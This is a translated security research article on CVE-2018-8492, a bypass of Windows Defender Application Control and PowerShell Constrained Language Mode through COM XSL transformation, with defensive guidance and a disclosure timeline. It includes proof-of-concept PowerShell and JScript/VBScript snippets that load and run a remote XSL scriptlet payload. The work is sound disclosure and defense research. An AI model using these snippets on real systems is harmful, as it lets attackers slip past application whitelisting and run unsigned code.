COM XSL转换：如何绕过微软应用程序控制解决方案（CVE-2018-8492）

一、概述

长期以来，我非常热衷于探讨应用程序控制/应用程序白名单（AWL）和组件对象模型（COM）。正如本文的标题所示，在研究中，我偶然发现了一种使用COM绕过Microsoft Application Control（微软应用程序控制）解决方案的技术。在特定情况下，该技术可以执行未经签名的代码，一绕过Windows Defender应用程序控制（WDAC）/Device Guard，包括具有可扩展样式表转换（XSLT）的PowerShell约束语言模式（CLM）。在本文中，我们主要讨论以下内容：

1、微软AWL解决方案简介；

2、使用约束语言模式的PowerShell简要概述；

3、CVE-2018-8492（通过COM XSLT绕过WDAC）详细分析；

4、防御方法。

需要注意的是，本篇文章并没有全面讲解微软AWL解决方案或绕过技术。如果要了解这方面的更多信息，推荐阅读附在本文最后的链接资源。

二、微软AWL解决方案简介

微软支持多种应用程序白名单（AWL）解决方案。在本节中，我们将简要介绍软件限制策略（SRP）、AppLocker、Windows Defender应用程序控制（WDAC），并在其中重点说明一些AWL绕过的方法。接下来，就让我们进行深入研究。

2.1 SRP

软件限制策略（SRP，Software Restriction Policies）是在Windows 2003和Windows XP中，作为一种组策略管理软件控制机制而引入的。在SRP中，安全级别基于哈希规则、证书规则、路径规则（文件系统和注册表）以及区域规则来定义应用程序的行为（例如：不允许运行）。策略可以针对动态链接库（DLL）应用，并且可以强制所有用户（包括管理员）必须遵循这一策略。

在SRP中，并没有一组强大的默认规则（作为基线使用），也不支持审计模式，因此创建、测试、验证和维护SRP策略的绝大多数工作都要由组织来自行完成。通常，实施和维护SRP可能非常困难。因此，随着其他AWL解决方案的陆续出现，SRP并没有得到广泛的应用。

值得注意的是，取决于配置的不同，一些不重要的绕过可能会导致绕过严格依赖于阻止列表的规则。如果其中存在一些被忽略的文件路径，或文件名/扩展名操作，就可能导致允许超出预期的执行。此外，SRP不会强制执行代码完整性策略。因此，可以从受信任的二进制文件中执行未经签名（Scriptlet）的代码。

有关SRP和配置指南的更多信息，请参考 微软官方文档 和 美国国家安全局的白皮书 。此外，由于已经不再开发新的功能，据推测SRP将在不久之后被移除。

2.2 AppLocker

AppLocker是Windows 2008 Server和Windows 7（Enterprise和Ultimate版本）中引入的AWL解决方案，作为SRP的升级替代方案。与SRP 相比 ，AppLocker策略更加易于部署和管理。AppLocker支持脚本和应用程序（例如：exe、dll、appx等）的文件哈希、路径和发布者规则，并且支持用于测试规则的审计模式（Audit Mode）。值得注意的是，在强制执行策略时，AppLocker会针对非特权用户，将PowerShell置于约束语言模式（CLM）中，从而限制未经批准的脚本执行、Cmdlet、任意类型和类型定义。

AppLocker可以配置一组 默认规则 ，这一点有助于组织设置基线和进行测试。但是，由于规则集的限制，目前存在许多易于复现的技术可以绕过这些策略，所以在生产环境部署默认规则并不一定是最佳的选择。使用一些健壮的策略，可能会阻止许多基于规则的应用程序绕过，但是像SRP一样，AppLocker也不能进行代码完整性检测。

要了解有关AppLocker的更多信息，并且获得有关如何创建并测试强大的AppLocker策略的进一步指导，请参考Oddvar Moe的AppLocker 案例研究 ，以及Aaron Margosis的 AaronLocker工具 。

2.3 WDAC

Windows Defender应用程序控制（WDAC），以前称为Device Guard，是一种AWL解决方案，可以“通过限制允许用户运行的应用程序，从而帮助减轻安全威胁”（引自微软官方文档）。WDAZ是在Windows 2016和Windows 10（Enterprise和Education版本）引入的。在使用用户模式代码完整性（UMCI）的WDAC策略实施下，锁定的系统能够防止执行未经授权的二进制文件、未签名（脚本）代码和安装程序包。此外，UMCI限制PowerShell在CLM中运行，由于Windows锁定策略（WLDP）的限制，它进一步“锁定”了COM类访问（实例化）。当其被完整性策略强制执行时，WLDP还限制来自其他脚本（例如：cscript.exe和wscript.exe）的COM实例化。

目前，似乎已经将WLDP称为Windows安全模式策略（Windows Secure Mode Policy）。

WDAC策略是高度可定制的，可以配置为审计模式，从而支持各种部署和配置方案，以进行测试。在支持WDAC的Enterprise版本Windows操作系统中，强制策略的推荐配置（默认）位于：%systemroot%\schemas\CodeIntegrity\ExamplePolicies\DefaultWindows_Enforced.xml 中。

与之前讨论的SRP和AppLocker的默认规则不同，WDAC默认策略具有高度限制性，可能不适合生产环境使用。有关在组织中如何创建WDAC代码完整性策略的指导，请参阅 微软官方文档 和Chris Truncer的 演示 。关于Windows 10 Enterprise的基线测试，请参阅这份 指南 ，从而使用微软推荐的 块规则 来快速部署WDAC。

要了解有关WDAC的更多信息（例如：内部工作原理、如何绕过等），请参阅由这些优秀研究人员维护的博客网站：

Matt Graeber的 Exploit Monday

Matt Nelson的 Enigma0x3

Casey Smith的 SubTee

James Forshaw的 Tyranid's Lair

2.4 关于微软AWL解决方案的说明

根据微软的描述，WDAC-UMCI实际上是一个安全便捷。因此，应用程序控制绕过漏洞是需要被重视的，是能够被授予CVE的，并且也是可以维护的。研究人员应该在披露这一漏洞之前，应该首先向微软安全响应中心（MSRC）报告漏洞情况，以便进行评估。

微软支持另一种用于减少攻击面（ASR）的伪“应用程序控制”规则集，该规则及目前是Windows Defender漏洞防护（WDEG）、Windows Defender高级威胁防护（ATP）的一部分。ASR规则对于防止针对目标应用程序（例如：Office）执行“恶意”代码，以及对于保护敏感进程（例如：LSASS）非常有用。对ASR的分析，超出了本文涉及的范围，但感兴趣的读者可以在 微软官方文档 上找到更多信息。

三、使用约束语言模式的PowerShell简要概述

通常，PowerShell都会以全语言模式（Full Language Mode）运行。该模式能有效允许访问所有PowerShell功能，包括脚本（例如：有符号脚本、无符号脚本）、类型定义和类（例如：.NET/C#访问）。在PowerShell版本5中引入，约束语言模式（CLM）“限制对可用于调用任意Windows API的敏感语言元素的访问”（引自PowerShell团队博客）。根据配置和策略的实施，CLM提供了一个屏障，有效减少了攻击面，攻击者必须攻破这个屏障才能对PowerShell工具和功能进行利用。为了打破CLM的限制，攻击者必须“绕过”CLM空间，从而导致PowerShell会话在全语言模式的上下文中执行恶意的“未签名”代码（例如：通过发现已签名的PowerShell脚本中的漏洞），或者执行“攻破”PowerShell会话的恶意代码。接下来，我们来看看几个CLM配置/实施方案，以及此前公开的绕过技术。

3.1 语言模式属性配置

如果没有策略实施，只需要设置此属性，即可在PowerShell会话中配置CLM：

$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"

尽管CLM以这种方式限制PowerShell上下文中的访问非常有效，但这是一种无效的强制执行控制，因为该属性可以很容易地被设置为“FullLanguage”，这样就会逃避CLM的限制。尽管，由于缺乏适当的执行功能，我不会将其称之为绕过，但该技术确实具有与 PowerShell v2降级攻击 类似的效果。

3.2 PSLockdownPolicy环境变量强制执行

在PowerShell v3中，微软通过设置__PSLockdownPolicy环境变量，结合了一些“未记录的”功能，控制了各种PowerShell模式。我能找到最早的参考资料，是来自Oisin Grehan的 Twitter帖子 ，该文章分析，通过将__PSLockdownPolicy的值设置为4，来表示PowerShell处于“约束模式”。在2013年发表的一篇 文章 中，Carlos Perez描述了使用组策略在注册表中设置此环境变量，以强制执行这一模式的方法。该值是在下面的注册表项路径中设置：

HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment

在PowerShell v5中，将__PSLockdownPolicy的值设置为4，会将PowerShell会话置于CLM中。我们使用这一强制级别，尝试将LanguageMode属性设置为FullLanguage，结果表明这是不成功的。

尽管为CLM强制设置__PSLockdownPolicy，确实可能提供了一个便捷，从而有助于阻止利用PowerShell的一类攻击。但研究人员发现，__PSLockdownPolicy并不是一个正确的防御控制边界，实际上是处于调试目的而设计的，正如Matt Graeber所展示的那样。他非常直截了当地进行了System32文件夹/文件操作绕过：

“大家还记不记得此前，我曾经说过__PSLockdownPolicy对于强制执行受约束的lang模式毫无意义？事实上，它是专门为调试而设计的。pic.twitter.com/a8DpVOrqdM”（ Matt Graeber发布于2017年10月20日）

在强制的PSLockdownPolicy下，绕过CLM的另一种方法是通过非托管的PowerShell来实现。由于（在此测试用例中）PSLockdownPolicy方法不受AWL解决方案支持，利用.NET的 System.Management.Automation 命名空间允许我们在自己的运行空间中以全语言模式运行PowerShell命令（不使用PowerShell.exe或PowerShell_ISE.exe）。在这个例子中，Cn33liz的 P0wnedShell工具 可以被用来证明这个概念：

实际上，设置PSLockdownPolicy并不是执行CLM的最强大方法，但是如果同时存在其他的控制方法和增强检测方法，那么一些攻击者完全可以实现他们的目标。然而，实施CLM的首选方法还是使用Microsoft Application Control解决方案。那么，就让我们来看看其中的几个选项，以及其各自的优点和危险之处。

3.3 应用程序控制CLM实施

在强制执行白名单策略时，PowerShell CLM将应用于AppLocker（适用于“允许模式Allowed Mode”的用户）和WDAC（适用于用户和管理员）。

3.3.1 AppLocker执行

尽管AppLocker没有被视为是安全边界（例如：一旦发现绕过，它是不可维护的），但它仍然是一个非常亲切的AWL解决方案，并且对于具有正确配置规则的用户（非管理员）来说非常有效。但是，还有一些值得注意的例外情况。

我们对具有默认规则的环境进行了测试。在AppLocker上，更改LanguageMode属性，或将我们自己的PowerShell运行空间投放到磁盘上的这些CLM绕过方法，已经不再有效。然而，我们发现了可以在全语言模式下执行或攻破CLM会话的巧妙绕过方法。利用该方法，可以执行未经签名的代码。

Oddvar Moe在DerbyCon 2018上展示了 App-o-Lockalypse ，并发现一种从CLM会话生成完整语言模式会话的方法。该方法使用默认的AppLocker配置，通过操作在“temp”目录路径下创建的PS脚本的环境变量路径来实现。

注意：使用正确配置的NTFS ACL/ACE写入规则或AppLocker脚本规则，可以有效防范这种情况。关于这方面的更多信息，请参考Oddvar关于如何预防此类攻击的一篇优秀文章。

Adam Chester公开的一种 新技术 则利用了COM实例化。在AppLocker“强制”的PowerShell CLM下，几乎任何组件对象模型（COM）对象都可以使用带有程序标识符（ProgID）的新对象comlet和comobject参数进行实例化，如下所示：

new-object -comobject [ProgID]
new-object -com [ProgID]

上述情况都是被允许的，由于AppLocker已经启用CLM，所以锁定（Lockdown）策略的强制检查已经通过，并且由于AppLocker没有强制执行的代码完整性策略，所以任何COM对象类标识符（CLSID）批准检查都将为真。这一问题的影响很大程度取决于攻击者的发现，以及Payload的传递，因为有很多种方法能够利用COM实现无符号代码执行。我们将在后面重新讨论这个话题，并会重点提供一些示例。

注意：有趣的是，没有AWL强制执行的CLM将不允许COM实例化（例如：尝试使用new-object cmdlet和comobject参数），因为其锁定检查将会失败（出现异常），并且会返回错误。有关这部分内容的详细信息，请参考Adam Chester的 文章 。

3.3.2 WDAC代码完整性强制执行

WDAC/Device Guard代码完整性策略，是锁定Windows主机并减少系统攻击面的一种有效方法。未经签名或未经批准的脚本及二进制代码的执行将受到限制，并且这里的PowerShell CLM已经正确实施。现在，让我们重温PowerShell中的COM对象实例化。

当AppLocker策略“强制执行”时，CLM COM对象实例化几乎没有什么限制。实际上，全部或大多数COM对象都可以被实例化。根据Google Project Zero的James Forshaw在.NET COM实例UMCI绕过漏洞披露中，这一COM对象的数量介于8-50之间。在具有UMCI的WDAC下，WLDP的这个数字大幅减少。当发生COM对象实例化尝试时（例如：尝试使用新对象cmdlet和comobject参数），将会查询WldpIsClassInApprovedList()导出函数（来自wlpd.dll），以检查是否允许解析的CLSID。如果允许，那么将实例化COM对象，并且可以访问对象的方法和属性。如果不允许，那么就会阻止实例化，并抛出错误信息。

如前一节所述，WDAC是一个安全边界。因此，我们发现的绕过方法可能会被微软接受，并且有可能会被添加到 推荐的阻止列表 中。CLM绕过也就是WDAC绕过，因此这方面的漏洞也会被接受。

接下来，让我们换上5挡，讨论一个重要漏洞的发现过程。

四、CVE-2018-8492（通过COM XSLT绕过WDAC）详细分析

在过去几年中，Casey Smith发现了非常有趣的“Living off the land”AWL绕过技术，该技术利用已经签名的微软二进制文件来执行未经签名的Scriptlet代码。其中，Casey针对可扩展样式表语言（XSL）的研究和发现促使我开展了这一研究。简而言之，XSL的作用是“转换和呈现XML文档”（引自维基百科），其中包括将XML文档转换为其他格式的文档，例如HTML和Office（Excel电子表格）。最有趣的是，XSL转换（XSLT）可以执行嵌入式脚本宿主代码。

4.1 XSLT COM的发现

如果我们搜索可用于快速转换XML文档的微软可扩展标记语言（MSXML核心服务）的COM组件，可以发现一些有用的方法和属性。其中，最明显的方法和属性是transform()、transformNode()、transformNodeToObject()和AllowXsltScript（我们仅举几例）。这些都是一些关键COM对象（例如：Msxml2.DOMDocument.6.0）的成员，它们实现了方法和属性访问的接口（例如：IXMLDOMDocument* flavors）。

在针对各种二进制文件运行字符串，以及分析了几个已经签名的脚本（VBScript/JScript）之后，我们能够清晰地看到，这些组件可能在XSL代码执行中起到了重要作用，例如在wmic.exe和winrm.vbs中。

4.1.1 wmic.exe

注意：字符串程序似乎在输出中截断了几个字母。其中，IXSProcessor很可能是IXSLProcessor，tranform很可能是transform（转换）。

4.1.2 winrm.vbs

注意：有关winrm AWL绕过的更多信息，请参阅Matt Graeber的文章（https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404），其中还包含一些有效的检测策略。

4.2 XSL脚本执行PoC

在深入了解COM/XSL转换之后，我决定对Payload进行测试，以查看它的运行情况。转向PowerShell，我使用Casey Smith编写的极简XML/XSL Payload来启动包含（无符号）Jscript代码的命令提示符：

$xsl = new-object -com Msxml2.DOMDocument.6.0
$xsl.load(“c:\path\to\minimalist.xml”)
$xsl.setProperty(“AllowXsltScript”,$true)
$xsl.transformNode($xsl)

不出所料，这一过程执行了Scriptlet代码，并启动了命令处理器（Command Processor）。接下来，我们来深入研究一下，并看看能否进一步扩展这一方法。

4.3 AppLocker PowerShell CLM XSLT绕过

作为概念证明，我们首先分开脚本标签之间的代码，并将其保存为Jscript（js）文件。我们尝试使用默认规则（并且不依赖于路径规则绕过），在AppLocker下使用Windows脚本宿主二进制文件（cscript.exe和wscript.exe）启动Jscript文件（minimalist.js），产生了如下输出：

在这里，执行尝试启动Payload的脚本失败。当我们尝试使用反射，来加载带有在CLM下的PowerShell中.NET反射的Microsoft.Jscript程序集时，同样也以失败告终：

但是，如果我们使用AppLocker策略下的新对象cmdlet和comobject参数，启动以前是用的带有XSLT有效内容的PowerShell代码段，就能够成功执行：

当我第一次看到这个结果时，我非常惊讶，因为它居然有效。至此，我才对COM对象实例化的Windows锁定策略（WLDP）如何有效实施有了基本的了解。现在，让我们把注意力转回WDAC。

4.4 WDAC COM对象枚举

在默认的WDAC代码完整性策略（Windows 10 1803以上版本）下，我们的PowerShell XSL Payload代码段由于COM对象WLDP强制执行而无法成功执行，如下图所示：

对于这一测试用例，Windows锁定策略（WLDP）已经正确实施，并且COM对象未实例化。回顾一下我在Google Project Zero 文章 中读到的内容，James Forshaw表示，他发现有8-50个COM对象可以被脚本（例如：PowerShell）实例化。我们希望知道，在测试主机的WDAC策略下可以实例化哪些COM对象，于是我们使用以下的PowerShell代码段，枚举出可以访问的COM对象：

$ErrorActionPreference = "SilentlyContinue"
$ids = gwmi Win32_COMSetting | ?{ $_.ProgId -ne $null }
$ids | ForEach {if (new-object -com $_.ProgID){$_.ProgID}}

在WDAC下，PowerShell代码段返回了以下结果：

正如预期的那样，实际上只允许几个COM丢向。但是，就在这时Microsoft.XMLDOM.1.0 ProgID突然出现了。因此，我决定进一步研究，看看都有哪些成员可以访问：

我很快就发现了一些熟悉的转换方法，并注意到实现的COM接口标识符（IID）GUID值（2933bf95-7b36-11d2-b20e-00c04f983e60）对应的是IXMLDOMDocument2接口。

4.5 WDAC PowerShell CLM XSLT绕过

在确定Microsoft.XMLDOM.1.0的COM对象方法之后，我决定稍微修改PowerShell片段，从而测试未经签名的代码执行：

$xsl = new-object -com Microsoft.XMLDOM.1.0
$xsl.load(“c:\path\to\minimalist.xml”)
$xsl.transformNode($xsl)

注意：Microsoft.XMLDOM.1.0是在MSXML v3.0中实现的，它不需要为脚本主机执行设置AllowXsltScript属性，因为它默认设置为true。

运行这一代码段后，Payload将在CLM和Device Guard代码完整性策略的上下文中执行：

为了更加清楚，上一个映像中的WDAC策略状态，实际上是从系统信息实用程序（msinfo32.exe）中剪切输出的。

4.6 利用经典WSH二进制文件实现WDAC绕过

除了PowerShell之外，WLDP还允许使用经典的WSH二进制文件（例如cscript.exe和wscript.exe）进行Microsoft.XMLDOM.1.0实例化，以执行未经签名的脚本代码。例如，以下脚本片段将在调用时会死用远程提取技术，启动相同的XSL Payload。

4.6.1 Jscript

xsl = new ActiveXObject("Microsoft.XMLDOM.1.0");
xsl.async = false;
xsl.load("https://gist.githubusercontent.com/caseysmithrc/680ef7a2d660fb62ce13a3bd130b8adf/raw/cc4a1b4d8eb26cc9aea61ae267db7ecae28e9f33/minimalist.xml");
xsl.transformNode(xsl);

4.6.2 VBScript

Set xsl= CreateObject("Microsoft.XMLDOM.1.0")
xsl.async = false
xsl.load "https://gist.githubusercontent.com/caseysmithrc/680ef7a2d660fb62ce13a3bd130b8adf/raw/cc4a1b4d8eb26cc9aea61ae267db7ecae28e9f33/minimalist.xml"
xsl.transformnode xsl

实际上，不允许合法的Jscript Payload在自身启动时实例化WScript.Shell COM对象（在此测试用例中名为test.js）。但是，我们可以利用XSLT Trampoline（minimalist.js）来实例化WScript.Shell（它嵌入在远程minimalist.xml Payload中），如下图所示：

注意：微软块规则（Microsoft Block Rules）中明确拒绝了Mshta.exe等脚本宿主，该规则与这一测试用例中的默认WDAC策略合并。

五、防御方法

接下来，让我们看看作为蓝方应该考虑的几个防守因素。

5.1 XSLT COM对象

尽管目前已经发布了CVE-2018-8492的补丁，从而防止在WDAC下执行Microsoft.XMLDOM.1.0 Scriptlet，但是作为防守方，应该知道XSLT技术仍然可以被攻击者用于绕过其他AWL解决方案。

随着众多COM对象的曝光，我们推测Microsoft.XMLDOM.1.0和Msxml2.DOMDocument.6.0不是唯一包含执行相同XSL COM脚本执行的转换方法的对象，这一点是非常简单的。我们还确定了其他一些对象，具体如下。

可能还有其他COM对象公开了类似的XSLT方法和属性，并且具有可以执行Scriptlet代码的其他COM对象。此外，这些对象可以用于远程获取资源（如上一节所示），并且可以利用其他类和对象来执行此操作。例如，Microsoft.XMLHTTP.1.0和相关的COM对象就可以提供此功能。

注意：XML转换可以在.NET中与XslCompiledTransform类一起使用。此外，PowerShell CLM允许使用.NET XmlDocument类实例，load()方法可以用作获取远程XML兼容文件（例如：XSL Payload）的下载工具。在 这里 ，有一个概念证明。

5.2 PowerShell安全控制

下面是一些关于PowerShell的建议和资源：

1、升级到PowerShell v5.x。近年来，PowerShell的安全性得到了极大的改进，特别是随着包含PowerShell v5的Windows Management Framework 5的发布。如果您的组织还没有使用v5版本，强烈建议您升级至此版本，以使用一些安全性增强的功能，例如高级日志记录功能和启用CLM。

2、禁用PowerShell v2。除了要升级到PowerShell v5之外，我们强烈建议在环境中禁用PowerShell v2，从而防止降级攻击，因为v2中的安全功能较少，并且不支持CLM。

3、寻找低版本PS加载。Lee Holmes在 这篇文章 中提供了针对此类攻击的检测和预防指导，其中包括一个PowerShell代码段，用于查询PowerShell事件日志，已获取低版本的PowerShell加载。

4、启用PS记录，增强可审计性。配置Transcription、Module和ScriptBlock日志，可以深入了解PowerShell中运行的命令、cmdlet和Payload。Transcription日志记录需要配置磁盘/文件共享位置，以输出日志文件。可以在PowerShell操作事件日志中访问模块事件（事件ID 4103）和ScriptBlock事件（事件ID 4104）。

5、使用CLM和监视器。约束语言模式具有令人难以置信的价值。在持续监控可以篡改（例如：绕过尝试）的同时，启用CLM以进行预防，这样会取得良好效果。

6、识别COM对象实例化事件。在PowerShell操作事件日志（事件查看器 -> 应用程序和服务日志 -> Microsoft -> Windows -> PowerShell –> 操作）中，如果启用，COM对象实例化尝试将被记录为模块事件（事件ID 4103）。在我们的测试过程中，记录了成功的实例化过程，其中包含以下有效内容字符串（在消息中）：

ParameterBinding(New-Object): name="ComObject"; value="[ProgID]"

如果使用SIEM或日志解析 工具 过滤此类事件，我们就可以识别潜在的COM对象滥用事件（例如：滥用XSLT的对象），这一部分内容非常有价值。

5.3 WSH安全建议

下面是关于Windows脚本宿主的一些建议：

1、监控已知的二进制文件。包括cscript.exe、wscript.exe、mshta.exe、wmic.exe、Regsvr32.exe、winrm.vbs和pubprn.vbs，这些都是一些已知（经过签名）的二进制文件和脚本，可能会被攻击者用于代码执行、规避和绕过。Mitre ATT&CK和LOLBAS是构建基线，以检测和理解这些本机实用程序如何用于攻击的极佳资源。Daniel Bohannon和Matthew Dunwoody曾发表过一次演讲（https://www.youtube.com/watch?v=YGJaj6_3dGA），说明了如何构建一个弹性检测方法。

2、AMSI。可以通过带有Windows事件跟踪（ETW）的反恶意软件扫描接口（AMSI）捕获脚本宿主内容。几个月前，Matt Graeber在他的博客上发表了 这篇文章 。

3、检查通信。如果加密通信对您的组织来说不成问题，那么构建一个对远程提取的HTTP/S资源（例如：SCT、WSH和XML/XSL文件）的检测，可能会非常有帮助。这些请求中可能包含可疑的用户代理，响应中可能包含XML脚本标记和属性（很有可能经过混淆）。

5.4 AWL解决方案

尽管存在绕过和逃避的可能，但AWL是终端安全的一个重要组成部分。其中，终端安全就包括终端检测与响应（EDR）和反病毒（AV）。如果您计划在自己的环境中使用应用程序控制，那么以下是针对AWL解决方案的一些建议：

1、考虑使用AWL。尽管AWL是降低安全风险和减小攻击面的绝佳方式，但许多组织仍然没有实施这一机制。如果运行任何较新版本的Windwos Server，其中的AppLocker都是免费、内置的，并且可以使用组策略进行集中管理。如果您正在考虑使用AWL，请在开始之前查看 DHS的策略规划指南 。

2、维持与改善。与EDR和AV解决方案一样，我们应该维持AWL策略、规则和系统，以确保其发挥最大作用并且持续有效。根据AWL配置和规则集（例如：新的块规则）和系统更改（例如：更新、软件安装等），可能需要对AWL软件进行调整和更改。此外，如果您部署了基本策略和规则集，请设置一个弹性目标，从而可以随着时间的推移而不断改进。如果您的组织非常重视终端安全性，那么WDAC可以随时改变游戏规则。此外，WDAC和AppLocker支持用于构建、测试和评估策略的审计模式。

3、定期查看AWL日志。AWL实践日志为网络防御者和系统管理员提供了大量信息。通过AWL事件转发（到SIEM）和告警，管理员可能会看到需要将哪些关键可执行文件或库添加到策略中，或者注意到由于未批准的应用程序的各种（失败）执行尝试而发生的潜在安全事件。

4、在AppLocker中，事件日志位于：事件查看器 -> 应用程序和服务日志 -> Microsoft -> Windows -> AppLocker。包括以下日志：EXE和DLL、MSI和脚本、打包的应用程序部署、打包的应用程序执行。以下是阻止可执行文件生成的错误日志示例（事件ID 8004）：

5、在WDAC中，日志位于：事件查看器 -> 应用程序和服务日志 -> Microsoft -> Windows -> 代码完整性 -> 可选。下面是阻止可执行文件生成的错误日志示例（事件ID 3077）：

6、测试您执行的策略和规则。通过持续实施测试计划或红蓝对抗，可以发现并解决潜在问题。有一些工具可以帮助实现，请查看Chris Spehn的 GreatSCT ，以生成Payload。同时，也可以尝试Oddvar Moe针对AppLocker特定测试用例的 PowerAL 。

7、及时更新补丁。如果您使用的是WDAC或者第三方AWL解决方案，请确保该软件是最新的，从而解决可能导致保护控制缺陷的漏洞。

六、总结

这篇文章非常长，感谢各位读者能耐心阅读。在最后，我首先介绍一些与本文相关的优秀资源：

James Forshaw关于 COM内部工作原理 的精彩讲解：

James Forshaw编写的 DotNettToJScript工具 ，用于创建将.NET程序集加载到内存中的Jscript Payload的工具：

Dominic Chell 使用SharpShooter v1.0进行FreeStyling ，展示了使用XSL转换作为Payload生成的攻击向量。

关注Twitter上的 #DailyScriptlet ，了解关于COM Scriptlets的开源威胁情报。

Brian在匹兹堡的 WinAWL 上发布了一些关于WDAC的优秀文章。

其次，要感谢研究人员：Oddvar Moe、Philip Tsukerman、Casey Smith、Matt Nelson、James Forshaw、Adam Chester、Chris Spehn和Matt Graeber。感谢MSRC工作人员Nate和James。

最后，该漏洞相关的时间表如下：

2018年4月 – 与MSRC取得联系，提交关于XSL COM对象CLM绕过的漏洞信息

2018年5月 – 与MSRC就问题细节和复现方法进行沟通

2018年6月 – MSRC确认Microsoft.XMLDOM.1.0 WDAC绕过漏洞

2018年8月 – MSRC表示将延期发出漏洞补丁

2018年10月 – 该漏洞已修复（CVE-2018-8492）